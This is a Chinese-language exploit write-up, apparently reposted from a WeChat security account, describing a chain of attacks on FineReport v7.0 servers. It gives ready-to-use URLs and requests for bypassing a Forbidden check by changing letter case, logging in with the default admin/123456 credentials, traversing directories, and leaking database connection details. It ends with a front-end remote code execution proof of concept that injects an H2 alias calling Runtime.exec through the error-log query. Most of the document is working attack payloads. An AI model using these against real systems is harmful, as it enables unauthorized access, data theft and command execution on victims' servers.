0x01 帆软报表 Forbidden Bypass
直接访问帆软报表登录入口,发现被Forbidden
http://xxx.cn/ReportServer?op=fs_load&cmd=fs_signin&_=1679582030407
使用大小写绕过,发现css不加载,但可以通过BurpSuite发送登录包
http://xxx.cn/ReportServer?op=Fs_load&cmd=fs_signin&_=1679582030407
0x02 帆软报表 数据决策系统 管理员弱口令
帆软报表v7.0默认管理员弱口令
admin
123456
使用Burpsuite登录,将op方法中的Fs_load首字母大写,成功获取管理员Cookie
POST /ReportServer?op=Fs_load&cmd=Login HTTP/1.1
Host: xxx.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://xxx.cn
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
username=admin&password=123456&fsremember=true
0x03 帆软报表 目录遍历漏洞
访问以下payload,控制file_path参数可以遍历任意目录
http://xxx.cn/ReportServer?op=fr_remote_design&cmd=design_list_file&file_path=../../../¤t_uid=1&isWebReport=true
0x04 帆软报表 敏感信息泄露
数据库连接信息泄露,op参数中大写F,cmd参数中大写S,来绕过Forbidden
http://xxx.cn/ReportServer?op=Fr_server&cmd=Sc_getconnectioninfo
访问记录报表未授权访问
http://xxx.cn/ReportServer?op=Fr_server&cmd=Sc_visitstatehtml
注册信息报表未授权访问,此处存在一个上传点
http://xxx.cn/ReportServer?op=Fr_server&cmd=Sc_version_info
0x05 帆软报表 前台RCE
-
通过前面的目录遍历漏洞,发现存在.exe后缀文件,说明系统为windows。并且确定网站的绝对路径为
../../../Tomcat8.5/webapps/ROOT/
-
通过注册信息报表未授权访问发现该帆软报表为7.0版本。帆软报表v7.0的RCE与v8.0类似都是通 过op=fr_log&cmd=fg_errinfo访问错误日志报表,在提交查询中进行注入攻击。但在 v7.0中不存 在com.fr.chart.phantom.system.SystemServiceUtils.exeCmd这个函数,所以需要重新寻找利用 点
-
对帆软报表7.0的jar(fr-server-7.0-fr-server-7.0.jar)进行代码审计发现在 com.fr.fs.schedule.dao.StartDB类中有一个run函数,它接收一个str,直接使用 Runtime.getRuntime().exec()执行这个str
对于windows系统,Runtime.getRuntime().exec()可以正确执行以空格为分割的String类型命令, 如
Stringstr="cmd/cecho123>"../../../../../../../../../../../../Tomcat 8.5/webapps/ROOT/pettter.txt""
Runtime.getRuntime().exec(str);
对于linux系统,Runtime.getRuntime().exec()只能正确执行以空格为分割的String[]类型命令,如:
String[]str=newString[]{"/bin/sh","-c","touchtest.txt"}; 2 Runtime.getRuntime().exec(str);
所以当该WEB应用部署在linux系统上,无法利用这个run函数来进行RCE,可尝试寻找FileUtil等类 进行利用。
现在访问以下url,BurpSuite抓包,点查询
http://xxx.cn/ReportServer?op=fr_log&cmd=fg_errinfo
将请求体参数改为如下Payload,然后一直Forward,当页面不出现"正在加载"的转圈就成功RCE 了,如果出现就表示LOG查询并发满了无法RCE。Payload在网站根目录下创建了一个内容为123的 pettter.txt文件。
建议该Payload增加DROP ALIAS RUMCMD;以便函数调用完毕后确保该对象被销毁。以及select 查询中增加limit 1,避免fr_errrecord表过大出现响应延时问题。
POC:
__parameters__={"LABEL1":"TYPE:","TYPE":"6;CREATEALIASRUNCMDFOR "com.fr.fs.schedule.dao.StartDB.run";CALL RUNCMD('cmd /c echo 123 > "../../../../../../../../../../../../Tomcat 8.5/webapps/ROOT/pettter.txt"');DROP ALIAS RUMCMD;select msg, trace, sinfo, logtime from fr_errrecord where 1=1 limit 1","LABEL3":"START_TIME:","START_TIME":"2020-08-11 00:00","LABEL5":"END_TIME:","END_TIME":"2020-08-11 16:41","LABEL7":"LIMIT:","LIMIT":2}
查看生成的文件
原文始发于微信公众号(网格信安):实战之帆软报表v7.0系列漏洞与前台RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论